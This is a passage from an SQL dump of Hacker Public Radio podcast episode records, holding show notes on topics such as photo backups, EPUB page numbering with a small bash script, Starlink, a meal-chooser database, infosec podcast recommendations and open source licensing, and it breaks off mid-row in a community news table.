hpr_hub/sql/hpr-db-part-14.sql

1001 lines
2.2 MiB
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

(3620,'2022-06-17','Photo storage, backups, and workflow',1222,'How to keep your photos safe','<p>If you have photos that are important to you, you should take steps to protect them. Every day someone loses a lifetime of memories because they didn\'t take these steps. Don\'t be one of them. In this tutorial I explain how <em>I</em> backup and protect my photos and what my workflow is like. You may find some ideas here that you can use.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/Electronic-Automatic-Rotation-Resolution-1280x800IPS/dp/B07QTKQPX4/ref\" class=\"uri\">https://www.amazon.com/Electronic-Automatic-Rotation-Resolution-1280x800IPS/dp/B07QTKQPX4/ref</a></li>\r\n<li><a href=\"https://www.theguardian.com/world/2007/sep/29/argentina.film\" class=\"uri\">https://www.theguardian.com/world/2007/sep/29/argentina.film</a></li>\r\n<li><a href=\"https://www.facebook.com/\" class=\"uri\">https://www.facebook.com/</a></li>\r\n<li><a href=\"https://www.google.com/photos/about/\" class=\"uri\">https://www.google.com/photos/about/</a></li>\r\n<li><a href=\"https://www.flickr.com/\" class=\"uri\">https://www.flickr.com/</a></li>\r\n<li><a href=\"https://www.smugmug.com/plans/\" class=\"uri\">https://www.smugmug.com/plans/</a></li>\r\n<li><a href=\"https://www.shutterfly.com/\" class=\"uri\">https://www.shutterfly.com/</a></li>\r\n<li><a href=\"https://beebom.com/flickr-alternatives/\" class=\"uri\">https://beebom.com/flickr-alternatives/</a></li>\r\n<li><a href=\"https://www.gimp.org/tutorials/GIMPProfile/\" class=\"uri\">https://www.gimp.org/tutorials/GIMPProfile/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/photo-storage-backups-and-workflow/\" class=\"uri\">https://www.ahuka.com/gimp/photo-storage-backups-and-workflow/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Photo storage, Photo backup, Photo workflow',0,0,1),
(3379,'2021-07-15','Linux Inlaws S01E34: The one with the intelligence',2716,'Part four of the three-part miniseries on deep learning and artificial intelligence','<p>\r\n In this fourth part of our three-part miniseries on Deep and Machine Learning our two heroes shed some\r\n light on a DL architecture called Generative Pre-Trained Transformer (GPT), a pretty sophistic piece\r\n of software that fools most humans when it comes to authoring text (ideal for budding writers with\r\n a block in place). Other topics of discussion includes OpenAI (the company behind this framework),\r\n Elon Musk, Bitcoin, Microsoft and if the GPT can actually pass the Turing test. All will be revealed -\r\n don\'t miss this episode!\r\n</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OpenAI: <a href=\"https://openai.com\" target=_blank>https://openai.com</a></li>\r\n<li>GPT: <a href=\"https://openai.com/projects\" target=_blank>https://openai.com/projects</a></li>\r\n<li>The Turing Test: <a href=\"https://en.wikipedia.org/wiki/Turing_test\" target=_blank>https://en.wikipedia.org/wiki/Turing_test</a></li>\r\n<li>GPT-2 source code: <a href=\"https://github.com/openai/gpt-2\" target=_blank>https://github.com/openai/gpt-2</a></li>\r\n<li>GPT meta-progamming: <a href=\"https://www.lesswrong.com/posts/zZLe74DvypRAf7DEQ/meta-programming-gpt-a-route-to-superintelligence\" target=_blank>https://www.lesswrong.com/posts/zZLe74DvypRAf7DEQ/meta-programming-gpt-a-route-to-superintelligence</a></li>\r\n<li>GPT-3 interview: <a href=\"https://www.youtube.com/watch?v=PqbB07n_uQ4\" target=_blank>https://www.youtube.com/watch?v=PqbB07n_uQ4</a></li>\r\n<li>DSDS: <a href=\"https://en.wikipedia.org/wiki/Deutschland_sucht_den_Superstar\" target=_blank>https://en.wikipedia.org/wiki/Deutschland_sucht_den_Superstar</a></li>\r\n<li>GPT-3 sample 1: <a href=\"https://linuxinlaws.eu/files/padawans.txt\" target=_blank>https://linuxinlaws.eu/files/padawans.txt</a></li>\r\n<li>GPT-3 sample 2: <a href=\"https://linuxinlaws.eu/files/HGttG.txt\" target=_blank>https://linuxinlaws.eu/files/HGttG.txt</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','GPT-3, OpenAI, Elon Musk, Microsoft, Bitcoin, meta-programming',0,0,1),
(3381,'2021-07-19','Learning to skate',2152,'Klaatu goes for a walk, and talks about learning to ride a skateboard','<p>Apologies for the heavy breathing. I chose (unwisely, in terms of audio) to walk up a steep hill.</p>\r\n',78,0,0,'CC-BY-SA','skateboard',0,0,1),
(3378,'2021-07-14','A bit of my experience with Starlink internet service',608,'some ramblings about satellite internet service and how Starlink is different','<p>Starlink website: <a href=\"https://www.starlink.com/\" class=\"uri\">https://www.starlink.com/</a></p>\r\n\r\n<p>Starlink from Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Starlink\" class=\"uri\">https://en.wikipedia.org/wiki/Starlink</a></p>\r\n\r\n<p>\r\nStarlink is a satellite internet constellation being constructed by SpaceX providing satellite Internet access. The constellation will consist of thousands of mass-produced small satellites in low Earth orbit (LEO), which communicate with designated ground transceivers. The SpaceX satellite development facility in Redmond, Washington houses the Starlink research, development, manufacturing, and orbit control teams. The cost of the decade-long project to design, build, and deploy the constellation was estimated by SpaceX in May 2018 to be at least US$10 billion.\r\n</p>\r\n<p>\r\nProduct development began in 2015. Two prototype test-flight satellites were launched in February 2018. Additional test satellites and 60 operational satellites were deployed in May 2019. SpaceX launches up to 60 satellites at a time, aiming to deploy 1,584 of the 260 kg (570 lb) spacecraft to provide near-global service by late 2021 or 2022. SpaceX started a private beta service in the Northern United States in August 2020 and a public beta in October 2020, service beginning at high latitudes between 44° and 52° North.\r\n</p>\r\n<p>\r\nOn 15 October 2019, the United States Federal Communications Commission (FCC) submitted filings to the International Telecommunication Union (ITU) on SpaceX\'s behalf to arrange spectrum for 30,000 additional Starlink satellites to supplement the 12,000 Starlink satellites already approved by the FCC.\r\n</p>\r\n<p>\r\nAstronomers have raised concerns about the constellations effect on ground-based astronomy and how the satellites will add to an already jammed orbital environment. In response, SpaceX has implemented several upgrades to Starlink satellites aimed at reducing their brightness during operation. The satellites are equipped with krypton-fueled Hall thrusters which allow them to de-orbit at the end of their life. Additionally, the satellites are designed to autonomously avoid collisions based on uplinked tracking data.\r\n</p>\r\n',243,0,0,'CC-BY-SA','internet, leo, satellites, ISP',0,0,1),
(3382,'2021-07-20','How I fixed a fault on my car for free thanks to YouTube',760,'How I fixed a fault on my car for free and as an added bonus without injuring myself!','<p>I had a spare moment and found this show on my hard drive. Cheers MrX</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=kl1_VM_j5r8\">YouTube video I found that explains how to fix a rattling heat shield for free</a></p>\r\n<p><em>Picture of the fix!</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3382/heat-shield-repair.jpg\" alt=\"Picture of the fix!\" /></p>\r\n',201,0,1,'CC-BY-SA','Car, Repair, Hack, DIY',0,0,1),
(3383,'2021-07-21','My gEeeky Experiment - Part 1',1029,'ClaudioM talks about how he revived his lowly Asus Eee PC 901 netbook with OpenBSD.','<ul>\r\n<li>Blog post: <a href=\"https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/</a></li>\r\n<li>Asus Eee PC 901 info via Wikipedia (first paragraph in link): <a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC#Other_Eee_90x_models\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC#Other_Eee_90x_models</a></li>\r\n<li>OpenBSD Web Site: <a href=\"https://www.openbsd.org/\" class=\"uri\">https://www.openbsd.org/</a></li>\r\n<li>Duplicating installed packages on another machine, via the OpenBSD FAQ: <a href=\"https://www.openbsd.org/faq/faq15.html#PkgDup\" class=\"uri\">https://www.openbsd.org/faq/faq15.html#PkgDup</a></li>\r\n<li>Video of Eee PC 901 running OpenBSD 6.6: <a href=\"https://imgur.com/KHJj8lK\" class=\"uri\">https://imgur.com/KHJj8lK</a></li>\r\n<li>Mastodon post from <span class=\"citation\" data-cites=\"solene\">@solene</span><span class=\"citation\" data-cites=\"bsd.network\">@bsd.network</span> about the Firefox port on OpenBSD: <a href=\"https://bsd.network/@solene/106481939809930365\" class=\"uri\">https://bsd.network/@solene/106481939809930365</a></li>\r\n</ul>\r\n<p>CPU on my Dell Latitude E6410 via sysctl: hw.model=Intel(R) Core(TM) i5 CPU M 520 @ 2.40GHz</p>\r\n',152,0,0,'CC-BY-SA','asus,eeepc,openbsd,bsd,linux',0,0,1),
(3384,'2021-07-22','Page Numbers in EPUB eBook Files',1699,'Response to HPR 3367 I describe how to specify page numbers in an EPUB eBook.','<p>This episode is a response to <a href=\"https://hackerpublicradio.org/eps.php?id=3367\">hpr3367</a> by Andrew Conway and Dave Morriss. One of the topics they brought up was the thorny issue of page numbers in e-books. Most of the time you don\'t need to worry about page numbers in ebooks, if you\'re reading fiction for example. The whole point of an ebook is that the texts can reflow to fit the page no matter what size the screen is or what font-size you\'ve chosen. This is a major accessibility feature of all e-book formats. One reason you might want to specify actual page numbers, though, is if you\'re dealing with a technical or academic book, and you need to be able to refer to specific passages in the book by page number, as you are expected to do in academic research. Or, as Andrew and Dave were discussing, you might need to create an index in your ebook that would send your readers back to specific pages like in a paper book.</p>\r\n\r\n<p>I\'ve thought about this before but never really gotten into the weeds and figured out how to make it happen. In fact, when I was creating the new digital editions of the Counterpoint textbooks like I discussed in <a href=\"https://hackerpublicradio.org/eps.php?id=1512\">hpr1512</a>, I actually took the trouble to put page number anchors through the entire thing, so that at a future date I would be able to enable real page numbers. This was a key part of the source file\'s infrastructure, which helped me quickly find the passages I was working on in my huge HTML file. Those anchors are not quite in the correct format for EPUB, but they are consistent and I will easily be able to write a script to fix them. I haven\'t done that yet, but now that I figured out how to do it on some smaller examples, this is on my to-do list.</p>\r\n\r\n<p>Anyway while I was listening to Dave and Andrew talk about this, I thought I remembered reading somewhere that in the newest ePub specification, EPUB 3, there was support for publisher\'s page numbers to deal with precisely this issue. Their discussion prompted me to see if I could make it work. I\'m happy to report success, although with some qualifications, which I will get into.</p>\r\n\r\n<h3>Converting to EPUB 3</h3>\r\n\r\n<p>The first thing to do is to upgrade your ebook from EPUB2 to EPUB3. There are a couple of ways to do this. The way I did it was to use the ebook editor in a recent version of Calibre. When you open up the EPUB for editing, go to the <code>Tools</code> menu and choose <code>Upgrade book internals</code>. This will create the new navigation file <code>nav.xhtml</code> to replace the old <code>toc.ncx</code> file. You\'ll need to edit this new file later to enable the page numbers.</p>\r\n\r\n<h3>Insert page anchors</h3>\r\n\r\n<p>Next you need to put your page anchors in there. This could be very tedious if you haven\'t done any preparatory work, such as putting visible page numbers in plain sight in square brackets [21] the way I did for a couple of ebooks. It wasn\'t very elegant, but at least it was easy to find where the page breaks were. I have a <a href=\"https://hackerpublicradio.org/eps.php?id=1284\">Blather</a> voice command that triggers a python script to create these things. Here\'s an example of page number anchor, which goes in the main text of the book wherever you want to insert a page number. This will not be visible to the reader inline. This is for page 57:</p>\r\n\r\n<pre>\r\n&lt;span epub:type=&quot;pagebreak&quot; id=&quot;page57&quot; title=&quot;57&quot;&gt;&lt;/span&gt;\r\n</pre>\r\n\r\n<h3>Page List in Navigation File</h3>\r\n\r\n<p>Finally you need to put a <strong>page list</strong> in the new navigation file. This is simply an ordered list with hyperlinks to every page anchor that you put in your ebook. This will not be visible to the reader, but it\'s critical to making everything work. Here\'s a minimal example from my first attempt. This only covers Pages 122 to 126. This is the kind of page numbering you might need if you created an ebook from a five-page article from an academic journal that appeared in the middle of the volume.</p>\r\n\r\n\r\n<pre>\r\n&lt;nav epub:type=&quot;page-list&quot; hidden=&quot;hidden&quot;&gt;\r\n &lt;ol&gt;\r\n &lt;li&gt;&lt;a href=&quot;filename.html#page122&quot;&gt;122&lt;/a&gt;&lt;/li&gt;\r\n &lt;li&gt;&lt;a href=&quot;filename.html#page123&quot;&gt;123&lt;/a&gt;&lt;/li&gt;\r\n &lt;li&gt;&lt;a href=&quot;filename.html#page124&quot;&gt;124&lt;/a&gt;&lt;/li&gt;\r\n &lt;li&gt;&lt;a href=&quot;filename.html#page125&quot;&gt;125&lt;/a&gt;&lt;/li&gt;\r\n &lt;li&gt;&lt;a href=&quot;filename.html#page126&quot;&gt;126&lt;/a&gt;&lt;/li&gt;\r\n &lt;/ol&gt;\r\n&lt;/nav&gt;\r\n</pre>\r\n\r\n<p>I\'m not sure it matters where you put this navigation block in the <code>nav.xhmtl</code> file, but I put mine between the table of contents and the landmarks blocks.</p>\r\n\r\n<h3>Scripting the creation of page list</h3>\r\n\r\n<p>It could be very tedious to create a page list like this, so of course I wrote a script to automate a lot of the heavy lifting. I\'m sure Dave can write one that\'s more elegant than this, but this is what I came up with in about 5 minutes and it did the job, with the exception of putting the right URL for each link. I did a little bit of post-production to search and replace the URLs generated in the script with what I needed for the specific eBook. I think if you added a third command-line argument with a URL, you can solve this problem. The difficulty with larger books will be when you have more than one internal HTML file in the book, you will have to go through very carefully and make sure that the link goes to the correct file. I saved the script as <code>pagelist.sh</code> and put it in my <code>$PATH</code>.</p>\r\n\r\n<p>Command to run to generate a page list from pages 42 to 61:</p>\r\n\r\n<pre>\r\npagelist.sh 42 61\r\n</pre>\r\n\r\n<p>And here\'s the script:</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\n# grab beginning and ending pages from 1st and 2nd\r\n# CLI arguments, and specify a tmp file to put stuff\r\nstart=&quot;$1&quot;\r\nend=&quot;$2&quot;\r\nnavfile=/tmp/navfile.txt\r\n\r\n# put the top matter for the nav block\r\necho \'&lt;nav epub:type=&quot;page-list&quot; hidden=&quot;hidden&quot;&gt;\' &gt; $navfile\r\necho &quot; &lt;ol&gt;&quot; &gt;&gt; $navfile\r\n\r\n# iterate through the page numbers making list item for each one.\r\n# should replace filename with your ebook\'s actual filename\r\nfor i in $(seq $start $end); do\r\n echo &quot; &lt;li&gt;&lt;a href=\\&quot;filename.html#page$i\\&quot;&gt;$i&lt;/a&gt;&lt;/li&gt;&quot; &gt;&gt; $navfile\r\ndone\r\n\r\n# close out the list and nav block\r\necho &quot; &lt;/ol&gt;&quot; &gt;&gt; $navfile\r\necho &quot;&lt;/nav&gt;&quot; &gt;&gt; $navfile\r\n\r\nexit 0\r\n</pre>\r\n\r\nThen you just need to copy and paste what was generated from the script into your editor and make sure all of the URLs are correct, then stick that navigation block into the <code>nav.xhtml</code> file.\r\n\r\n<h3>Conclusions</h3>\r\n\r\n<p>So, once you have the page anchors and the page list in place in your EPUB3 ebook, everything should work. The problem is that so far the only ebook reader I have found that renders the page numbers correctly on the screen is the iBooks app on iOS. I tried it on my Kobo dedicated eReader, on the Marvin ePub reader on iOS and on Overdrive on Android, and none of them displayed my shiny page numbers. iBooks was the only one, but it did so perfectly after choosing \"show publisher page numbers\" on the table of contents menu. It was pretty magical. A quick internet search confirms that there is very little e-book reader or app support for displaying these page numbers.</p>\r\n\r\n<p>However, the embedded page numbers will still be useful if what you want to do is create an index that directs readers back to specific pages. On the one hand, indexes are not as critical as they used to be because you can search through the text of e-books very easily. What you can\'t do easily is <em>browse</em> an eBook the way you can browse a paper book index to see what topics might catch your eye. This might be something only academics do. It\'s not uncommon for an academic to pick up a book and flip right to the bibliography and the index!</p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n <li><a href=\"https://kb.daisy.org/publishing/docs/navigation/pagelist.html\">Examples of different page number code formatting</a> from the Accessible Publishing Knowledge Base</li>\r\n <li><a href=\"https://idpf.org/epub/301/spec/epub-contentdocs.html#sec-xhtml-nav-def-types\">EPUB 3 Specification for navigation document</a>, including page numbers</li>\r\n <li><a href=\"https://calibre-ebook.com/\">Calibre eBook management software</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','ebooks, epub, scripting, calibre',0,0,1),
(3386,'2021-07-26','What\'s for dinner?',1342,'Some scripts and a database for randomly choosing which meal to cook','<h2 id=\"overview\">Overview</h2>\r\n<p>I live on my own, but I cook for members of my family from time to time. Each week we all get together and cook dinner for Wednesday and Thursday. I usually do the cooking but we are starting to share these duties for certain meals.</p>\r\n<p>In 2019 I thought it would be useful if I had some sort of random chooser to decide what next weeks meal was going to be. I wrote a Bash script called <code>choose_meal</code>, using a simple CSV file of meal names and the date last eaten to avoid choosing the same one too often. The shortcomings of this approach soon became apparent!</p>\r\n<p>It wasnt long before <code>choose_meal</code> was rewritten in <a href=\"https://www.perl.org/\" title=\"Perl scripting language\">Perl</a>. This time I decided to use a database, and chose <a href=\"https://www.sqlite.org/index.html\"><code>SQLite</code></a> to create it. My database contained just two tables, one for the meals themselves (called slightly confusingly <code>\'meal_history\'</code>), and another for a record of the choices made (called <code>\'meal_log\'</code>) the ability to produce historical reports seemed like a desirable feature!</p>\r\n<p>In 2019 the design of this system was very specific to our needs: one choice per week on a Wednesday. It was not something that could be used by anyone else which seemed like a bad idea.</p>\r\n<p>In late 2020 and early 2021 the system was redesigned, as will be discussed in the detailed notes. In May 2021 a more general design was added to the public <a href=\"https://gitlab.com/davmo/weekly_menus\" title=\"Weekly Menus repository\">GitLab repository</a> and the preparation of this show was begun.</p>\r\n<p>I had never intended this system to hold recipes. This was partly because I have built a collection of recipes I have constructed from various sources and amended as I have made them. I print these and keep them in a ring-binder for reference as I cook. In some cases the meals described in the database are multi-component ones (such as the dishes that make up a curry for example), so it doesnt seem appropriate to hold these here.</p>\r\n<p>I might rethink this in the future however.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3386/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><p><a href=\"https://www.perl.org/\">Perl</a></p>\r\n<ul>\r\n<li><a href=\"https://www.perl.org/get.html\">Perl 5</a>: (currently v5.35.0)</li>\r\n<li><a href=\"https://www.raku.org/\">Raku</a>: originally called Perl 6, a totally different scripting language.</li>\r\n<li><a href=\"https://www.perl.com/article/announcing-perl-7/\">Perl 7</a>: updates to Perl 5, removal of some historical stuff</li>\r\n</ul></li>\r\n<li><p><a href=\"https://www.sqlite.org/index.html\">SQLite</a>: a C-language library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine.</p></li>\r\n<li><p><a href=\"https://gitlab.com/davmo/weekly_menus\">GitLab repository for <em>Weekly Menus</em></a></p></li>\r\n</ul>',225,0,1,'CC-BY-SA','Perl,SQLite3,database,food',0,0,1),
(3387,'2021-07-27','Infosec Podcasts Part 5 Grab bag',483,'Presenting my favorite podcasts related to various aspects of information security','<p>Inoffensive in every region of the world.</p>\r\n<p>Thank you to everyone who has listened to my previous episodes. I hope I am not boring you all to death!</p>\r\n<p>Why am I recording this series?</p>\r\n<ul>\r\n<li>You can hear my reasoning for why I am making this series by listening to the introduction to any of the previous four episodes in this series. Yes, this is a shameless plug for you to listen to my other works.</li>\r\n</ul>\r\n<p>Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 - News &amp; Current Events</li>\r\n<li>Part 2 - General Information Security</li>\r\n<li>Part 3 - Career &amp; Personal Development</li>\r\n<li>Part 4 - Social Engineering</li>\r\n<li>Part 5 -\r\n<ul>\r\n<li>Hacks &amp; Attacks</li>\r\n<li>Technical Information &amp; Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n</ul></li>\r\n<li>Part 6 - Infosec Leadership</li>\r\n</ul>\r\n<h2 id=\"part-5\">Part 5</h2>\r\n<h3 id=\"hacks--attacks\">Hacks &amp; Attacks</h3>\r\n<ul>\r\n<li><p>Malicious Life Ran Levi sponsored by Cybereason (Periodically)</p>\r\n<ul>\r\n<li>Detailed descriptions of specific historical events in cybersecurity</li>\r\n<li><a href=\"https://malicious.life/\">https://malicious.life/</a></li>\r\n</ul></li>\r\n<li><p>Darknet Diaries - Jack Rhysider (Bi-Weekly)</p>\r\n<ul>\r\n<li>Stories from the darker side of the net</li>\r\n<li><a href=\"https://darknetdiaries.com/\">https://darknetdiaries.com/</a></li>\r\n</ul></li>\r\n</ul>\r\n<h3 id=\"technical-information--learning\">Technical information / learning</h3>\r\n<ul>\r\n<li><p>Digital Forensic Survival Podcast - Michael Leclair (Weekly)</p>\r\n<ul>\r\n<li>A weekly deep dive into digital forensics</li>\r\n<li><a href=\"https://digitalforensicsurvivalpodcast.com/\">https://digitalforensicsurvivalpodcast.com/</a></li>\r\n</ul></li>\r\n<li><p>The Offensive Security Podcast - TJ Null and Jeremy Miller (Harbinger) and sponsored by Offensive Security (Creators of the OSCP Offensive Security Certified Professional certification)</p>\r\n<ul>\r\n<li>Probably belongs in the Career &amp; Personal Development category, but I discovered it after I had already recorded that episode.</li>\r\n<li>Interviews with Red team practitioners and other security professionals, related to the various certifications and training available with Offensive Security.</li>\r\n<li><a href=\"https://www.offensive-security.com/podcast/\">https://www.offensive-security.com/podcast/</a></li>\r\n</ul></li>\r\n</ul>\r\n<h3 id=\"community--social--history\">Community / Social / History</h3>\r\n<ul>\r\n<li><p>Command Line Heroes - Saron Yitbarek and sponsored by Red Hat (Weekly with gaps between seasons)</p>\r\n<ul>\r\n<li>Tells the stories about how got to be where we are today, from open source to dev-ops, hardware, programming languages, and everything in between</li>\r\n<li><a href=\"https://www.redhat.com/en/command-line-heroes\">https://www.redhat.com/en/command-line-heroes</a></li>\r\n</ul></li>\r\n<li><p>Beers with Talos - Mitch Neff, Craig Williams, Joel Esler, Matt Olney all part of Cisco Talos Research Center (Periodically)</p>\r\n<ul>\r\n<li>A light hearted and sarcastic podcast which touches on current issues of interest to the hosts</li>\r\n<li><a href=\"https://www.talosintelligence.com/podcasts\">https://www.talosintelligence.com/podcasts</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>I hope that this series has helped introduce you to some new and interesting listening options. Give some of them a try, and I would love to get your feedback in the episode comments on the HPR website.</p>\r\n<p>The next and final episode of this series will be about Information Security Leadership podcasts.</p>\r\n<p>Thank you for listening.</p>',394,75,1,'CC-BY-SA','infosec, podcasts, security',0,0,1),
(3399,'2021-08-12','Linux Inlaws S01E36: Open Source Licenses',3361,'The ultimate show on open source licenses or how to fall asleep without chemicals','<p>\r\n In this episode Chris is trying hard to get Martin to sleep by elaborating on the\r\n subject of free and open source software licenses but fails miserably. Listen to a\r\n more than riveting episode on the ins and outs of licensing FLOSS code bases in addition\r\n to banter about Brexit, plans for a reshaping of Europe after the invasion of England\r\n and Wales, Northern Ireland and Scotland leave the UK.\r\n</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>MI6: <a href=\"https://www.sis.gov.uk\" target=_blank>https://www.sis.gov.uk</a></li>\r\n<li>OSI definition of free and open source software: <a href=\"https://opensource.org/osd\" target=_blank>https://opensource.org/osd</a></li>\r\n<li>VMware GPL lawsuit: <a href=\"https://sfconservancy.org/news/2015/mar/05/vmware-lawsuit\" target=_blank>https://sfconservancy.org/news/2015/mar/05/vmware-lawsuit</a></li>\r\n<li>Copyleft: <a href=\"https://www.gnu.org/licenses/copyleft.html\" target=_blank>https://www.gnu.org/licenses/copyleft.html</a></li>\r\n<li>Permissive licensing: <a href=\"https://en.wikipedia.org/wiki/Permissive_software_license\" target=_blank>https://en.wikipedia.org/wiki/Permissive_software_license</a></li>\r\n<li>Affero GPL: <a href=\"https://en.wikipedia.org/wiki/Affero_General_Public_License\" target=_blank>https://en.wikipedia.org/wiki/Affero_General_Public_License</a></li>\r\n<li>TerminusDB license change: <a href=\"https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb\" target=_blank>https://blog.terminusdb.com/we-love-gplv3-but-are-switching-license-to-apache-2-0-terminusdb</a></li>\r\n<li>Audacity usage restriction issue: <a href=\"https://github.com/audacity/audacity/issues/1213\" target=_blank>https://github.com/audacity/audacity/issues/1213</a></li>\r\n<li>Redis Source Available License: <a href=\"https://redislabs.com/wp-content/uploads/2019/09/redis-source-available-license.pdf\" target=_blank>https://redislabs.com/wp-content/uploads/2019/09/redis-source-available-license.pdf</a></li>\r\n<li>GoodFORM: <a href=\"https://goodformcode.com\" target=_blank>https://goodformcode.com</a></li>\r\n<li>Server Side Public License: <a href=\"https://www.mongodb.com/licensing/server-side-public-license\" target=_blank>https://www.mongodb.com/licensing/server-side-public-license</a></li>\r\n<li>Creative Commons licenses: <a href=\"https://creativecommons.org/choose\" target=_blank>https://creativecommons.org/choose</a></li>\r\n<li>Clarkson\'s Farm: <a href=\"https://en.wikipedia.org/wiki/Clarkson%27s_Farm\" target=_blank>https://en.wikipedia.org/wiki/Clarkson%27s_Farm</a></li>\r\n<li>Taking Lives: <a href=\"https://www.imdb.com/title/tt0364045/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0364045/?ref_=fn_al_tt_1</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Licensing, GNU, BSD, MIT, Taking Lives, MI6, Clarkson\'s Farm, Open Source Initiative',0,0,1),
(3696,'2022-10-03','HPR Community News for September 2022',3283,'HPR Volunteers talk about shows released and comments posted in September 2022','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3674\" target=\"_blank\">3674</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3674\" target=\"_blank\">Emergency Show posted in 2012. MUD</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3675\" target=\"_blank\">3675</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3675\" target=\"_blank\">Plan 9: An exercise in futility</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3676\" target=\"_blank\">3676</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3676\" target=\"_blank\">HPR Community News for August 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3677\" target=\"_blank\">3677</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3677\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3678\" target=\"_blank\">3678</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3678\" target=\"_blank\">\"Stupid Users\" ... no, not those users, the other \"stupid users\"</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3679\" target=\"_blank\">3679</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3679\" target=\"_blank\">Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)s</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0384.html\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3680\" target=\"_blank\">3680</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-09-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3680\" target=\"_blank\">EDIT</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3681\" target=\"_blank\">3681</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-09-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3681\" target=\"_blank\">Rust 101 Episode 3: Functionally Insane</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0396.html\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3682\" target=\"_blank\">3682</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3682\" target=\"_blank\">Hacker Public Radio 2021 - 2022 New Years Show Part 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0269.html\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3683\" 